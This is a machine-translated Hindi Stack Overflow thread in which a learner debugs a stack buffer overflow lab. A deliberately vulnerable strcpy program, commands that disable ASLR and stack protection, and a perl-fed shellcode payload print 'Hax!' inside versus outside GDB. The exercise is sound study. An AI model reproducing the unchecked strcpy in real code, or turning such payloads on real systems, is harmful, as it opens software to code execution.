2016-08-28 6 views
7

मैंने स्टैक स्थित बफर ओवरफ्लो के बारे में बहुत समय पहले पढ़ा था, लेकिन एक आभासी मशीन स्थापित करने और वास्तव में उन्हें अभ्यास में देखने का फैसला किया।स्टैक बफर ओवरफ़्लो: जीडीबी पर काम करता है, इसके बाहर नहीं है

निम्नलिखित कोड कमजोर कार्यक्रम था:

#include<string.h> 

void go(char *data){ 
    char name[64]; 

    strcpy(name, data); 
} 

int main(int argc, char **argv){ 
    go(argv[1]); 
} 

यह दोनों के लिए जीसीसी पर -zexecstack और -fno-stack-protector विकल्पों का उपयोग कर संकलित किया गया स्टैक में कोड निष्पादन किया जा रहा है और इस कार्यक्रम में निर्मित स्टैक ओवरफ़्लो सुरक्षा को अक्षम (अनुमति देते हैं "कैनरी" मान)।

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

मैं तो ढेर पर name की स्मृति स्थिति पता लगाने के लिए GDB का इस्तेमाल किया और निम्न पते पाया: 0x7fffffffdc10

चूंकि मेरे वीएम हाल ही में एक लिनक्स संस्करण है, मैं ASLR को निष्क्रिय करने के लिए किया था (पता स्थान लेआउट यादृच्छिकरण) चलकर: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" या sudo sysctl -w kernel.randomize_va_space=0

shellcode एक लेख मैं ढेर स्मैशिंग के बारे में ऑनलाइन पाया से लिया गया है और एक पर्ल स्क्रिप्ट के माध्यम से कार्यक्रम के लिए तंग आ गया था: "Hax"

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"' 

पहले 45 बाइट्स shellcode (लिखने के लिए चाहिए होने के नाते स्क्रीन पर), सही अतिरिक्त स्थिति में पॉइंटर प्राप्त करने के लिए कुछ अतिरिक्त 27 "ए" बाइट्स और अंत में छोटे एंडियन में पेलोड का प्रारंभिक पता।

समस्या है:

जब के माध्यम से GDB पर कार्यक्रम चल रहा है,: "Hax"

gdb vuln 
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

मैं shellcode चल रहा है और प्राप्त कर सकते हैं उत्पादन।

जब की तरह

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

GDB के बाहर कार्यक्रम चलाने के लिए कोशिश कर रहा करने के बजाए एक Illegal instruction (core dumped) त्रुटि प्राप्त "Hax!" उत्पादन।

मैं इस बात को समझने की कोशिश कर रहा हूं कि इस अलग-अलग व्यवहार का कारण क्या है। स्पष्ट रूप से जीडीबी डिफ़ॉल्ट रूप से एएसएलआर को अक्षम करता है, हालांकि मैंने इसे कर्नेल पर sysctl के माध्यम से भी अक्षम कर दिया है। क्या कर्नेल kernel.randomize_va_space वैरिएबल को अनदेखा कर सकता है? या शायद स्मृति पता अलग है, भले ही स्थिर, जीडीबी पर और वास्तविक प्रक्रिया पर? या शायद असली प्रक्रिया वास्तव में शेलकोड चल रही है, लेकिन असली प्रक्रिया पर कुछ गलत हो रहा है कि जीडीबी अनदेखा/बाईपास कर रहा है?

कोई कारण क्या हो सकता है इसके बारे में कोई विचार?

+0

क्या आपने 32-बिट कोड के रूप में संकलित करने का प्रयास किया है? (उदाहरण के लिए '-m32') मुझे विनिर्देशों को नहीं पता, लेकिन मुझे पता है कि x86_64 में स्टैक निष्पादन योग्य बनाने के लिए अतिरिक्त बाधाएं हैं। (नहीं, मुझे नहीं पता कि यह जीडीबी में क्यों काम करता है:) ' –

+0

क्या यह [एनएक्स] है (https://en.wikipedia.org/wiki/NX_bit)? – Kevin

+0

@ डेविडसी। रैंकिन मैंने इसे 32-बिट के रूप में संकलित करने की कोशिश की, लेकिन प्रक्रिया में कुछ जटिलताएं थीं। यादृच्छिकता के बाद जहां पेलोड को संग्रहीत किया जा रहा था, मुझे फिर से पता लगाना पड़ा कि * सहेजे गए निर्देश सूचक * प्राप्त करने के लिए कितने ओवरहेड बाइट्स डालने की आवश्यकता होगी। आश्चर्य की बात है कि मुझे 32-बिट संस्करण पर अधिक बाइट्स के साथ बफर भरना पड़ा था, मैंने अनुमान लगाया था: मैंने सोचा था कि मुझे 64bytes बफर + 4 बाइट्स सहेजे गए स्टैक पॉइंटर को भरने की आवश्यकता होगी, लेकिन इसे सहेजने के लिए 64 + 12 बाइट्स की आवश्यकता है निर्देश सूचक *। 64-बिट संस्करण (64 + 8 बाइट्स) से भी अधिक। – murphsghost

उत्तर

0

इस उत्तर को पढ़ने के बाद (https://stackoverflow.com/a/17775966/6765863) मैंने स्टैक बफर ओवरफ़्लो करने के अपने प्रयासों पर कुछ बदल दिया।

पहले, मैं एक स्पष्ट पर्यावरण के रूप में दोनों GDB परीक्षण और नियमित रूप से बाइनरी परीक्षणों पर ऊपर (env -i) जवाब में सुझाव दिया करते थे। जीडीबी पर्यावरण पर मुझे पूरी तरह से जीडीबी पर्यावरण को साफ़ करने के लिए unset env LINES और unset env COLUMNS आदेशों को आगे बढ़ाना पड़ा।

दूसरा, मैंने निष्पादन योग्य के लिए पूरा पथ उपयोग किया, यह सुनिश्चित करने के लिए कि argv[0] वैरिएबल दोनों परीक्षणों पर समान होगा, जो पेलोड पते पर प्रभाव नहीं डालता है।

उन चरणों के बाद भी मैं केवल जीडीबी संस्करण पर पेलोड हिट कर सकता था। इसलिए मैंने कोड का "डीबग" संस्करण बनाया, जहां मैं पेलोड के मेमोरी पतों को प्रिंट करूंगा (जो "जाने" पर "नाम" सरणी पता होगा और argv[0] और argv[1] के पते होंगे। नीचे अंतिम कोड:

#include<string.h> 

void go(char *data){ 
    char name[64]; 
    printf("Name: %p\n",name); 
    strcpy(name, data); 
} 

int main(int argc, char **argv){ 
    printf("Argv[0]: %p\n",argv[0]); 
    printf("Argv[1]: %p\n",argv[1]); 
    go(argv[1]); 
} 

मुझे पता है कि मुझे स्पष्ट रूप से stdio.h (मेरा बुरा!) शामिल होना चाहिए था। मुझे नहीं पता कि #include<stdio.h> मेमोरी पतों पर कुछ भी बदल जाएगा (ऐसा मत सोचो क्योंकि यह एक प्री-प्रोसेसर कॉल है जिसे शायद कंपाइलर द्वारा उसी तरह कहा जा रहा है, लेकिन सभी डिबगिंग के बाद मैंने नहीं किया यदि कार्यक्रम किसी भी तरह से काम करता है तो इसे फिर से करने का जोखिम उठाना चाहते हैं)।

वैसे भी, मैंने देखा कि पते जीडीबी परीक्षणों और नियमित परीक्षण पर थोड़ा अलग थे। अधिक विशिष्ट होने के लिए, पेलोड पते में + 0x40 ऑफसेट (64 बाइट्स) था। वास्तव में उस पते को हिट करने के लिए पर्ल स्क्रिप्ट को बदलना जीडीबी के बाहर काम करने के लिए पर्याप्त था।

मुझे अभी भी इस बात के बारे में निश्चित नहीं है कि स्टैक पर क्या भिन्न हो सकता है, लेकिन पूरा मुद्दा सटीक पते दोनों परीक्षणों से मेल नहीं खाता था। अगर किसी को पता है कि जीडीबी परीक्षणों पर उन अतिरिक्त 64 बाइट्स क्या हो सकते हैं तो मुझे इसे मेरे उत्तर में जोड़ने में खुशी होगी!

संबंधित मुद्दे